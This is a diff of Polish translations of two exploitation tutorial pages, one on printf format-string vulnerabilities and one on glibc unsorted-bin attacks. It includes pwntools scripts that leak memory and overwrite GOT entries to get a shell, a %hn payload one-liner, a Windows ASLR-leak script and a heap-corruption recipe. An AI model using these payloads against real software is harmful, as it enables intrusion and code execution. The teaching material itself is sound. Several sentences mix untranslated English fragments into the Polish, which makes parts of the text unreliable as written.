Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

src/binary-exploitation/format-strings/README.md

@@ -5,13 +5,13 @@
 
 ## Podstawowe informacje
 
-W C **`printf`** jest funkcją, którą można użyć do **wypisania** ciągu znaków. Jako **pierwszy parametr** funkcja oczekuje **surowego tekstu ze specyfikatorami formatu**. Kolejne oczekiwane **parametry** to **wartości**, które zostaną użyte do **podstawienia** **specyfikatorów formatu** w surowym tekście.
+W C **`printf`** jest funkcją, którą można użyć do **wypisania** łańcucha znaków. Jako **pierwszy parametr** ta funkcja oczekuje **surowego tekstu ze specyfikatorami formatu**. Zaś **kolejne parametry** to **wartości**, które służą do **podstawienia** **specyfikatorów** w surowym tekście.
 
-Inne podatne funkcje to **`sprintf()`** i **`fprintf()`**.
+Innymi podatnymi funkcjami są **`sprintf()`** i **`fprintf()`**.
 
-Luka pojawia się, gdy jako **pierwszy argument** tej funkcji użyty zostanie **tekst sterowany przez atakującego**. Atakujący będzie mógł skonstruować **specjalne wejście wykorzystujące** możliwości ciągów formatu `printf` do odczytu i **zapisu dowolnych danych pod dowolnym adresem (do odczytu/zapisu)**. Daje to możliwość **wykonania dowolnego kodu**.
+Luka pojawia się, gdy **tekst kontrolowany przez atakującego jest użyty jako pierwszy argument** tej funkcji. Atakujący będzie w stanie przygotować **specjalne wejście wykorzystujące** możliwości **printf format** do odczytu i **zapisania dowolnych danych pod dowolnym adresem (umożliwiającym odczyt/zapis)**. Dając w ten sposób możliwość **wykonania dowolnego kodu**.
 
-#### Specyfikatory formatu:
+#### Specyfikatory:
 ```bash
 %08x —> 8 hex bytes
 %d —> Entire
@@ -24,7 +24,7 @@ Luka pojawia się, gdy jako **pierwszy argument** tej funkcji użyty zostanie **
 ```
 **Przykłady:**
 
-- Wrażliwy przykład:
+- Przykład podatny:
 ```c
 char buffer[30];
 gets(buffer);  // Dangerous: takes user input without restrictions.
@@ -54,26 +54,26 @@ return 0;
 ```
 ### **Dostęp do wskaźników**
 
-Format **`%<n>$x`**, gdzie `n` jest liczbą, pozwala wskazać printfowi, aby wybrał n-ty parametr (ze stosu). Więc jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz zrobić:
+Format **`%<n>$x`**, gdzie `n` jest liczbą, pozwala funkcji `printf` wybrać n-ty parametr (ze stosu). Więc jeśli chcesz odczytać czwarty parametr ze stosu za pomocą `printf`, możesz zrobić:
 ```c
 printf("%x %x %x %x")
 ```
-i odczytałbyś od pierwszego do czwartego param.
+i odczytałbyś parametry od pierwszego do czwartego.
 
 Albo możesz zrobić:
 ```c
 printf("%4$x")
 ```
-i odczytać bezpośrednio czwarty parametr.
+i odczytać bezpośrednio czwarty element.
 
-Zauważ, że atakujący kontroluje parametr `printf` **, co w praktyce oznacza, że** jego dane wejściowe znajdą się na stosie, gdy `printf` zostanie wywołany, a to oznacza, że może wypisać na stosie konkretne adresy pamięci.
+Zauważ, że atakujący kontroluje `printf` **parameter, which basically means that** jego dane znajdą się na stacku, gdy `printf` zostanie wywołany, co oznacza, że może zapisać konkretne adresy pamięci na stacku.
 
 > [!CAUTION]
-> Atakujący kontrolujący to wejście będzie w stanie **dodać dowolne adresy na stosie i sprawić, by `printf` uzyskał do nich dostęp**. W następnej sekcji wyjaśnione zostanie, jak wykorzystać to zachowanie.
+> Atakujący kontrolujący to wejście będzie w stanie **dodać dowolne address in the stack and make `printf` access them**. W następnej sekcji wyjaśnione zostanie, jak wykorzystać to zachowanie.
 
 ## **Arbitrary Read**
 
-Można użyć formatera **`%n$s`**, aby sprawić, że **`printf`** pobierze **adres** znajdujący się na pozycji **n**, podąży za nim i **wydrukuje go tak, jakby był stringiem** (drukuje aż do znalezienia 0x00). Zatem jeśli baza binarki to **`0x8048000`**, i wiemy, że dane użytkownika zaczynają się na 4. pozycji na stosie, można wydrukować początek binarki za pomocą:
+Można użyć formattera **`%n$s`**, aby zmusić **`printf`** do pobrania **address** znajdującego się na **n position**, następnie podążenia za nim i **wydrukowania go tak, jakby był stringiem** (drukuje aż do napotkania 0x00). Zatem jeśli baza binarki to **`0x8048000`**, i wiemy, że dane użytkownika zaczynają się na czwartej pozycji na stacku, można wydrukować początek binarki za pomocą:
 ```python
 from pwn import *
 
@@ -87,11 +87,11 @@ p.sendline(payload)
 log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 ```
 > [!CAUTION]
-> Pamiętaj, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie cat w 0x00 na końcu tego adresu.
+> Zwróć uwagę, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony bajtem 0x00 na końcu tego adresu.
 
 ### Znajdź offset
 
-Aby znaleźć offset do swojego wejścia możesz wysłać 4 lub 8 bajtów (`0x41414141`) po których umieścisz **`%1$x`** i **zwiększać** tę wartość aż odzyskasz `A's`.
+Aby znaleźć offset do swojego wejścia możesz wysłać 4 lub 8 bajtów (`0x41414141`) po których dodać **`%1$x`** i **zwiększać** wartość aż pojawią się `A's`.
 
 <details>
 
@@ -130,35 +130,35 @@ p.close()
 
 Arbitrary reads mogą być przydatne do:
 
-- **Dump** **binary** z pamięci
-- **Access specific parts of memory where sensitive** **info** jest przechowywane (np. canaries, encryption keys lub custom passwords — jak w tym [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+- **Dump** the **binary** z pamięci
+- **Access specific parts of memory where sensitive** **info** jest przechowywane (np. canaries, encryption keys lub custom passwords jak w tym [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
 
 ## **Arbitrary Write**
 
-Formatter **`%<num>$n`** **zapisuje** **liczbę zapisanych bajtów** w **wskazanym adresie** w parametrze <num> na stosie. Jeśli atakujący może zapisać dowolną liczbę znaków za pomocą printf, będzie w stanie sprawić, że **`%<num>$n`** zapisze dowolną liczbę pod dowolnym adresem.
+Formatter **`%<num>$n`** **writes** liczbę zapisanych bajtów w wskazanym adresie znajdującym się w parametrze <num> na stosie. Jeśli atakujący może wypisać dowolną liczbę znaków za pomocą printf, będzie w stanie sprawić, że **`%<num>$n`** zapisze dowolną liczbę pod dowolnym adresem.
 
-Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia — można użyć formatera **`%.<num-write>%<num>$n`**, aby zapisać liczbę **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
+Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia — można użyć formattera **`%.<num-write>%<num>$n`** aby zapisać liczbę **`<num-write>`** pod adresem wskazywanym przez pozycję `num`.
 ```bash
 AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
 AAAA.%500\$08x —> Param at offset 500
 ```
-Zauważ jednak, że zwykle, aby zapisać adres taki jak `0x08049724` (co jest OGROMNĄ liczbą do zapisania na raz), zamiast `$n` **używa się `$hn`**. To pozwala **zapisać tylko 2 bajty**. W związku z tym operacja ta jest wykonywana dwukrotnie: raz dla najwyższych 2B adresu, a drugi raz dla najniższych.
+Jednak zwróć uwagę, że zazwyczaj aby zapisać adres taki jak `0x08049724` (co jest OGROMNĄ wartością do zapisania naraz), **używa się `$hn`** zamiast `$n`. Pozwala to **zapisać tylko 2 bajty**. Dlatego operacja ta wykonywana jest dwukrotnie: raz dla wyższych 2B adresu, i raz dla niższych.
 
-W związku z tym ta luka pozwala **zapisać dowolne dane pod dowolny adres (arbitrary write).**
+Wobec tego ta luka pozwala **zapisać cokolwiek pod dowolny adres (arbitrary write).**
 
-W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która zostanie wywołana później. Chociaż można to także wykorzystać w innych technikach arbitrary write to exec:
+W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która zostanie wywołana później. Choć można to też wykorzystać przy innych technikach arbitrary write to exec:
 
 {{#ref}}
 ../arbitrary-write-2-exec/
 {{#endref}}
 
-Zamierzamy **nadpisać** **funkcję**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **wskazać** ją na funkcję **`system`**.\
-Jak wspomniano, aby zapisać adres zwykle potrzebne są 2 kroki: najpierw **zapisujesz 2 bajty** adresu, a potem pozostałe 2. Do tego używa się **`$hn`**.
+Zamierzamy **nadpisać** **funkcję**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **skierować** ją na funkcję **`system`**.\
+Jak wspomniano, zwykle zapis adresu wymaga 2 kroków: najpierw **zapisujesz 2 bajty** adresu, a potem pozostałe 2. Do tego używa się **`$hn`**.
 
 - **HOB** odnosi się do 2 wyższych bajtów adresu
 - **LOB** odnosi się do 2 niższych bajtów adresu
 
-Następnie, ze względu na działanie format string trzeba najpierw **zapisać mniejszy** z \[HOB, LOB] a potem drugi.
+Następnie, z powodu działania format string musisz najpierw **zapisać najmniejszy** z \[HOB, LOB] a potem drugi.
 
 Jeśli HOB < LOB\
 `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@@ -170,16 +170,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
 ```bash
 python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
 ```
-### Szablon Pwntools
+### Pwntools Template
 
-Możesz znaleźć **szablon** do przygotowania exploita dla tego rodzaju podatności w:
+Możesz znaleźć **szablon** do przygotowania exploita dla tego typu podatności w:
 
 
 {{#ref}}
 format-strings-template.md
 {{#endref}}
 
-Albo ten podstawowy przykład dostępny [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
+Albo ten podstawowy przykład z [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
 ```python
 from pwn import *
 
@@ -198,26 +198,26 @@ p.sendline('/bin/sh')
 
 p.interactive()
 ```
-## Format Strings to BOF
+## Format Strings do BOF
 
-Można nadużyć operacji zapisu wynikających z podatności typu format string, aby **zapisać pod adresy na stacku** i wykorzystać podatność typu **buffer overflow**.
+Można nadużyć operacji zapisu wynikających z luki format string, aby **zapisać do adresów na stosie** i wykorzystać lukę typu **buffer overflow**.
 
 
-## Windows x64: Format-string leak to bypass ASLR (no varargs)
+## Windows x64: Format-string leak do obejścia ASLR (no varargs)
 
-Na Windows x64 pierwsze cztery integer/pointer parametry są przekazywane w rejestrach: RCX, RDX, R8, R9. W wielu buggy call-sites attacker-controlled string jest używany jako format argument, ale nie dostarczono variadic arguments, na przykład:
+Na Windows x64 pierwsze cztery parametry całkowitoliczbowe/wskaźnikowe są przekazywane w rejestrach: RCX, RDX, R8, R9. W wielu wadliwych call-sites ciąg kontrolowany przez atakującego jest używany jako argument formatowy, ale nie są dostarczone żadne variadic arguments, na przykład:
 ```c
 // keyData is fully controlled by the client
 // _snprintf(dst, len, fmt, ...)
 _snprintf(keyStringBuffer, 0xff2, (char*)keyData);
 ```
-Ponieważ nie są przekazywane żadne varargs, każda konwersja taka jak "%p", "%x", "%s" spowoduje, że CRT odczyta następny argument wariadyczny z odpowiedniego rejestru. With the Microsoft x64 calling convention pierwsze takie odczytanie dla "%p" pochodzi z R9. Jakakolwiek przemijająca wartość w R9 w miejscu wywołania zostanie wypisana. W praktyce this often leaks a stable in-module pointer (np. wskaźnik do obiektu lokalnego/globalnego wcześniej umieszczonego w R9 przez otaczający kod lub wartość zachowaną przez callee), który można wykorzystać do odzyskania module base i obejścia ASLR.
+Ponieważ nie są przekazywane varargs, każda konwersja taka jak "%p", "%x", "%s" spowoduje, że CRT odczyta następny argument wariadyczny z odpowiedniego rejestru. W konwencji wywołań Microsoft x64 pierwszy taki odczyt dla "%p" pochodzi z R9. Jakakolwiek chwilowa wartość w R9 w miejscu wywołania zostanie wydrukowana. W praktyce często powoduje to leak stabilnego in-module pointer (np. pointer do local/global object wcześniej umieszczonego w R9 przez otaczający kod lub callee-saved value), który można wykorzystać do odzyskania module base i obejścia ASLR.
 
-Practical workflow:
+Praktyczny workflow:
 
-- Wstrzyknij nieszkodliwy format taki jak "%p " na samym początku ciągu kontrolowanego przez atakującego, tak aby pierwsza konwersja wykonała się przed jakimkolwiek filtrowaniem.
-- Capture the leaked pointer, zidentyfikuj statyczny offset tego obiektu wewnątrz modułu (poprzez jednokrotne reverse-engineering z symbolami lub lokalną kopię) i odzyskaj image base jako `leak - known_offset`.
-- Wykorzystaj tę bazę do obliczenia absolutnych adresów dla ROP gadgets i IAT entries zdalnie.
+- Wstrzyknij nieszkodliwy format taki jak "%p " na samym początku kontrolowanego przez atakującego stringa, tak aby pierwsza konwersja wykonała się przed jakimkolwiek filtrowaniem.
+- Przechwyć leaked pointer, zidentyfikuj statyczny offset tego obiektu wewnątrz modułu (poprzez reversing z użyciem symboli lub lokalnej kopii), i odzyskaj image base jako `leak - known_offset`.
+- Wykorzystaj image base do obliczenia absolutnych adresów dla ROP gadgets i IAT entries zdalnie.
 
 Example (abbreviated python):
 ```python
@@ -232,9 +232,9 @@ base   = leaked - 0x20660                     # module base = leak - offset
 print(hex(leaked), hex(base))
 ```
 Notatki:
-- Dokładny offset do odjęcia znajduje się raz podczas lokalnego reversing i następnie jest ponownie używany (ten sam binary/version).
-- Jeśli "%p" nie wypisuje prawidłowego pointera za pierwszym razem, spróbuj innych specyfikatorów ("%llx", "%s") lub wielu konwersji ("%p %p %p") aby spróbkować innych argument registers/stack.
-- Ten wzorzec jest specyficzny dla Windows x64 calling convention oraz implementacji printf-family, które pobierają nieistniejące varargs z registers, gdy format string ich żąda.
+- Dokładny offset do odjęcia jest znajdowany raz podczas local reversing i następnie używany ponownie (ten sam binary/version).
+- Jeśli "%p" nie wypisuje poprawnego pointera za pierwszym razem, spróbuj innych specyfikatorów ("%llx", "%s") lub wielu konwersji ("%p %p %p") aby spróbkować innych argument registers/stack.
+- Ten wzorzec jest specyficzny dla Windows x64 calling convention oraz implementacji printf-family, które pobierają nieistniejące varargs z registers gdy format string ich zażąda.
 
 Ta technika jest niezwykle przydatna do bootstrap ROP na Windows services skompilowanych z ASLR i bez oczywistych memory disclosure primitives.
 
@@ -244,13 +244,14 @@ Ta technika jest niezwykle przydatna do bootstrap ROP na Windows services skompi
 - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
 - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
-- 32 bit, no relro, no canary, nx, no pie, podstawowe użycie format strings do leak flag z stack (brak potrzeby zmiany przepływu wykonania)
+- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string do nadpisania adresu `fflush` funkcją win (ret2win)
+- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
 - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string do zapisania adresu wewnątrz main w `.fini_array` (tak że flow wraca jeszcze raz) oraz zapisania adresu `system` w GOT wskazującym na `strlen`. Kiedy flow wróci do main, `strlen` zostanie wykonany z danymi użytkownika i wskazując na `system`, wykona przekazane polecenia.
+- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
 
-## Odniesienia
+
+## Referencje
 
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)

src/binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -11,64 +11,61 @@ Aby uzyskać więcej informacji o tym, czym jest unsorted bin sprawdź tę stron
 bins-and-memory-allocations.md
 {{#endref}}
 
-Unsorted lists mogą zapisać adres `unsorted_chunks (av)` w polu `bk` chunku. Dlatego, jeśli atakujący potrafi **zmodyfikować adres wskaźnika `bk`** w chunku znajdującym się w unsorted bin, może być w stanie **zapisać ten adres pod dowolnym adresem**, co może pomóc w leakowaniu adresów Glibc lub obejściu pewnych zabezpieczeń.
+Unsorted lists mogą zapisać adres `unsorted_chunks (av)` w polu `bk` chunku. Dlatego, jeśli atakujący może **zmodyfikować adres wskaźnika `bk`** w chunku znajdującym się w unsorted bin, może być w stanie **zapisać ten adres pod dowolnym adresem**, co może pomóc w leak adresów Glibc lub obejściu niektórych zabezpieczeń.
 
-Tak więc w praktyce ten atak pozwala **ustawić dużą wartość pod dowolnym adresem**. Ta duża wartość to adres, który może być adresem heap lub Glibc. Tradycyjnym celem było **`global_max_fast`**, aby umożliwić tworzenie fast binów o większych rozmiarach (i przejście z unsorted bin attack do fast bin attack).
+Zasadniczo ten atak pozwala **ustawić dużą liczbę pod dowolnym adresem**. Ta duża liczba to adres, który może być adresem na heapie lub adresem w Glibc. Tradycyjnym celem było **`global_max_fast`**, aby umożliwić tworzenie fast binów o większych rozmiarach (i przejście z unsorted bin attack do fast bin attack).
 
-- Uwaga (glibc ≥ 2.39): `global_max_fast` stał się globalem 8‑bitowym. Bezmyślne zapisanie tam wskaźnika przez unsorted‑bin write nadpisze sąsiednie dane libc i nie podniesie niezawodnie limitu fastbin. Lepiej wybierać inne cele lub inne prymitywy przy atakowaniu glibc 2.39+. Zobacz "Modern constraints" poniżej i rozważ łączenie z innymi technikami, jak [large bin attack](large-bin-attack.md) lub [fast bin attack](fast-bin-attack.md), gdy masz stabilny prymityw.
+- Modern note (glibc ≥ 2.39): `global_max_fast` stał się globalem 8‑bitowym. Ślepe zapisanie wskaźnika tam przez unsorted‑bin write nadpisze sąsiednie dane libc i nie podniesie już niezawodnie limitu fastbin. Preferuj inne cele lub inne prymitywy przy pracy przeciwko glibc 2.39+. Zobacz "Modern constraints" poniżej i rozważ łączenie z innymi technikami, takimi jak [large bin attack](large-bin-attack.md) lub [fast bin attack](fast-bin-attack.md), gdy masz stabilny prymityw.
 
 > [!TIP]
-> T> Przejrzenie przykładu podanego w [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) i użycie 0x4000 oraz 0x5000 zamiast 0x400 i 0x500 jako rozmiarów chunków (aby uniknąć Tcache) pokazuje, że **dziś** wywoływany jest błąd **`malloc(): unsorted double linked list corrupted`**.
+> Spoglądając na przykład podany w [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) i używając 0x4000 oraz 0x5000 zamiast 0x400 i 0x500 jako rozmiarów chunków (aby uniknąć Tcache) można zobaczyć, że **współcześnie** pojawia się błąd **`malloc(): unsorted double linked list corrupted`**.
+>
+> W związku z tym ten unsorted bin attack teraz (między innymi sprawdzeniami) wymaga również możliwości naprawienia listy dwukierunkowej, tak aby sprawdzenia `victim->bk->fd == victim` oraz `victim->fd == av (arena)` nie powodowały abortu; oznacza to, że adres, pod który chcemy zapisać, musi zawierać adres fałszywego chunku na pozycji `fd`, a pole `fd` fałszywego chunku musi wskazywać na arena.
 >
-> W związku z tym ten unsorted bin attack obecnie (oprócz innych sprawdzeń) wymaga także naprawienia listy dwukierunkowej, żeby obejść `victim->bk->fd == victim` lub `victim->fd == av (arena)`, co oznacza, że adres, pod który chcemy zapisać, musi mieć adres fałszywego chunku w swoim polu `fd`, oraz że `fd` fałszywego chunku wskazuje na arena.
-
 > [!CAUTION]
-> Uwaga, ten atak korumpuje unsorted bin (a więc także small i large). Możemy więc teraz tylko **używać alokacji z fast bin** (bardziej złożony program może wykonywać inne alokacje i się zawiesić), i aby wywołać to musimy **alokować tę samą wielkość, w przeciwnym razie program się rozbije.**
+> Zauważ, że ten atak korumpuje unsorted bin (a zatem również small i large). Dlatego teraz możemy korzystać tylko z alokacji z fast binów (bardziej złożony program może wykonać inne alokacje i się zawiesić), i aby to wywołać musimy **alokować tego samego rozmiaru, inaczej program się zawiesi.**
 >
-> Nadpisanie **`global_max_fast`** może w tym przypadku pomóc, zakładając, że fast bin poradzi sobie ze wszystkimi innymi alokacjami do czasu zakończenia exploitu.
+> Zastanów się nad nadpisaniem **`global_max_fast`**, co w tym przypadku może pomóc z założeniem, że fast bin poradzi sobie ze wszystkimi innymi alokacjami do czasu zakończenia exploitu.
 
-Kod od [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) wyjaśnia to bardzo dobrze, chociaż jeśli zmodyfikujesz mallocy tak, by alokowały pamięć na tyle dużą, żeby nie kończyć w Tcache, można zobaczyć wspomniany wcześniej błąd zapobiegający tej technice: **`malloc(): unsorted double linked list corrupted`**
+Kod od [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) bardzo dobrze to wyjaśnia, chociaż jeśli zmodyfikujesz mallocy tak, aby alokować pamięć wystarczająco dużą, by nie trafiać do Tcache, możesz zobaczyć wcześniej wspomniany błąd uniemożliwiający tę technikę: **`malloc(): unsorted double linked list corrupted`**
 
-### Jak zapis faktycznie zachodzi
+### How the write actually happens
 
-- Unsorted‑bin write jest wyzwalany przy `free`, gdy zwolniony chunk jest wstawiany na początek unsorted listy.
-- Podczas wstawiania alokator wykonuje: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
-- Jeśli możesz ustawić `victim->bk` na `(mchunkptr)(TARGET - 0x10)` przed wywołaniem `free(victim)`, to ostatnie przypisanie wykona zapis: `*(TARGET) = victim`.
-- Później, kiedy alokator przetwarza unsorted bin, sprawdzenia integralności potwierdzą (m.in.), że `bck->fd == victim` oraz `victim->fd == unsorted_chunks(av)` zanim wykona unlink. Ponieważ podczas wstawiania już zapisano `victim` w `bck->fd` (naszym `TARGET`), te sprawdzenia mogą zostać spełnione jeśli zapis się powiódł.
+- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list.
+- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
+- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`.
+- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded.
 
-## Ograniczenia w nowych wersjach (glibc ≥ 2.33)
+## Modern constraints (glibc ≥ 2.33)
 
 Aby używać unsorted‑bin writes niezawodnie na aktualnym glibc:
 
-- Tcache interference: dla rozmiarów mieszczących się w tcache, free są przekierowywane tam i nie trafiają do unsorted bin. Można:
+- Tcache interference: dla rozmiarów trafiających do tcache, frees są przekierowywane tam i nie dotykają unsorted bin. Możesz:
   - robić żądania o rozmiarach > MAX_TCACHE_SIZE (≥ 0x410 na 64‑bit domyślnie), lub
-  - zapełnić odpowiadający bin tcache (7 wpisów), tak aby kolejne free trafiły do global bins, lub
-  - jeśli środowisko jest kontrolowane, wyłączyć tcache (np. GLIBC_TUNABLES glibc.malloc.tcache_count=0).
-- Sprawdzenia integralności na unsorted list: na ścieżce alokacji, która bada unsorted bin, glibc sprawdza (uproszczone):
-  - `bck->fd == victim` oraz `victim->fd == unsorted_chunks(av)`; w przeciwnym razie przerywa działanie z `malloc(): unsorted double linked list corrupted`.
-- To oznacza, że adres, który atakujesz, musi tolerować dwa zapisy: najpierw `*(TARGET) = victim` w czasie free; później, gdy chunk jest usuwany, `*(TARGET) = unsorted_chunks(av)` (alokator nadpisuje `bck->fd` z powrotem adresem głowy binu). Wybierz cele, gdzie wymuszenie dużej, niezerowej wartości jest użyteczne.
+  - zapełnić odpowiadającą tcache binę (7 wpisów), tak aby kolejne free trafiały do globalnych binów, lub
+  - jeśli środowisko jest kontrolowalne, wyłączyć tcache (np. GLIBC_TUNABLES glibc.malloc.tcache_count=0).
+- Integrity checks on the unsorted list: na ścieżce alokacji, która bada unsorted bin, glibc sprawdza (uproszczone):
+  - `bck->fd == victim` oraz `victim->fd == unsorted_chunks(av)`; w przeciwnym wypadku abortuje z `malloc(): unsorted double linked list corrupted`.
+- To oznacza, że adres, który atakujesz, musi tolerować dwa zapisy: najpierw `*(TARGET) = victim` w czasie free; później, gdy chunk jest usuwany, `*(TARGET) = unsorted_chunks(av)` (allocator nadpisuje `bck->fd` z powrotem adresem nagłówka binka). Wybierz cele, gdzie wymuszenie dużej, nie‑zerowej wartości ma sens.
 - Typowe stabilne cele we współczesnych exploitach:
-  - stan aplikacji lub globalny stan traktujący "duże" wartości jako flagi/limity,
-  - pośrednie prymitywy (np. przygotowanie do późniejszego [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) lub pivot dla kolejnego write‑what‑where).
-- Unikaj `__malloc_hook`/`__free_hook` w nowych glibc: zostały usunięte w 2.34. Unikaj `global_max_fast` w wersjach ≥ 2.39 (zob. powyżej).
+  - stan aplikacji lub globalny, który traktuje "duże" wartości jako flagi/limity,
+  - prymitywy pośrednie (np. przygotowanie do późniejszego [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) lub do pivotu późniejszego write‑what‑where).
+- Unikaj `__malloc_hook`/`__free_hook` w nowych glibc: zostały usunięte w 2.34. Unikaj `global_max_fast` na ≥ 2.39 (zobacz wcześniejszą uwagę).
 
-- O `global_max_fast` w nowszym glibc
-  - W glibc 2.39+ `global_max_fast` jest globalem 8‑bitowym. Klasyczny trik zapisania wskaźnika heap tam (by powiększyć fastbins) już nie działa czysto i prawdopodobnie skazi sąsiedni stan alokatora. Lepiej stosować inne strategie.
+## Minimal exploitation recipe (modern glibc)
 
-## Minimalny przepis na eksploatację (nowoczesny glibc)
-
-Cel: uzyskać pojedynczy arbitralny zapis wskaźnika heap na dowolny adres przy użyciu prymitywu wstawiania unsorted‑bin, bez wywoływania crasha.
+Cel: osiągnąć pojedynczy arbitralny zapis wskaźnika heapowego pod dowolny adres przy użyciu prymitywu wstawiania do unsorted‑bin, bez crasha.
 
 - Layout/grooming
   - Alokuj A, B, C o rozmiarach wystarczająco dużych, by ominąć tcache (np. 0x5000). C zapobiega konsolidacji z top chunk.
 - Corruption
   - Overflow z A do nagłówka chunku B, aby ustawić `B->bk = (mchunkptr)(TARGET - 0x10)`.
 - Trigger
-  - `free(B)`. W czasie wstawiania alokator wykona `bck->fd = B`, więc `*(TARGET) = B`.
-- Kontynuacja
-  - Jeśli planujesz kontynuować alokacje i program używa unsorted bin, spodziewaj się, że alokator później ustawi `*(TARGET) = unsorted_chunks(av)`. Obie wartości zwykle są duże i mogą wystarczyć do zmiany semantyki rozmiaru/limitów w celach, które tylko sprawdzają "duże".
+  - `free(B)`. W czasie wstawiania allocator wykonuje `bck->fd = B`, więc `*(TARGET) = B`.
+- Continuation
+  - Jeśli planujesz dalsze alokacje i program używa unsorted bin, spodziewaj się, że allocator później ustawi `*(TARGET) = unsorted_chunks(av)`. Obie wartości są zwykle duże i mogą wystarczyć do zmiany semantyki rozmiaru/limitu w celach, które tylko sprawdzają "duże".
 
-Szkielet pseudokodu:
+Pseudocode skeleton:
 ```c
 // 64-bit glibc 2.35–2.38 style layout (tcache bypass via large sizes)
 void *A = malloc(0x5000);
@@ -81,33 +78,33 @@ void *C = malloc(0x5000); // guard
 free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
 ```
 > [!NOTE]
-> • Jeśli nie możesz ominąć tcache za pomocą rozmiaru, zapełnij tcache bin dla wybranego rozmiaru (7 frees) przed zwolnieniem uszkodzonego chunku, aby free trafił do unsorted.
-> • Jeśli program natychmiast przerywa wykonanie przy następnej alokacji z powodu unsorted-bin checks, sprawdź ponownie, czy `victim->fd` wciąż równa się bin head oraz czy twój `TARGET` zawiera dokładny pointer do `victim` po pierwszym zapisie.
+> • Jeśli nie możesz obejść tcache przez rozmiar, zapełnij tcache bin dla wybranego rozmiaru (7 frees) przed zwolnieniem sfałszowanego chunku, tak aby free trafił do unsorted.
+> • Jeśli program natychmiast przerywa wykonanie przy następnej alokacji z powodu unsorted-bin checks, ponownie sprawdź, że `victim->fd` wciąż równa się bin head i że Twój `TARGET` zawiera dokładny wskaźnik `victim` po pierwszym zapisie.
 
 ## Unsorted Bin Infoleak Attack
 
-To w istocie bardzo podstawowa koncepcja. Chunks w unsorted bin będą zawierać wskaźniki. Pierwszy chunk w unsorted bin będzie faktycznie miał linki **`fd`** i **`bk`** **wskazujące na część main arena (Glibc)**.\
-W związku z tym, jeśli możesz **umieścić chunk w unsorted bin i go odczytać** (use after free) lub **alokować go ponownie bez nadpisania przynajmniej jednego z wskaźników**, a następnie go **odczytać**, możesz uzyskać **Glibc info leak**.
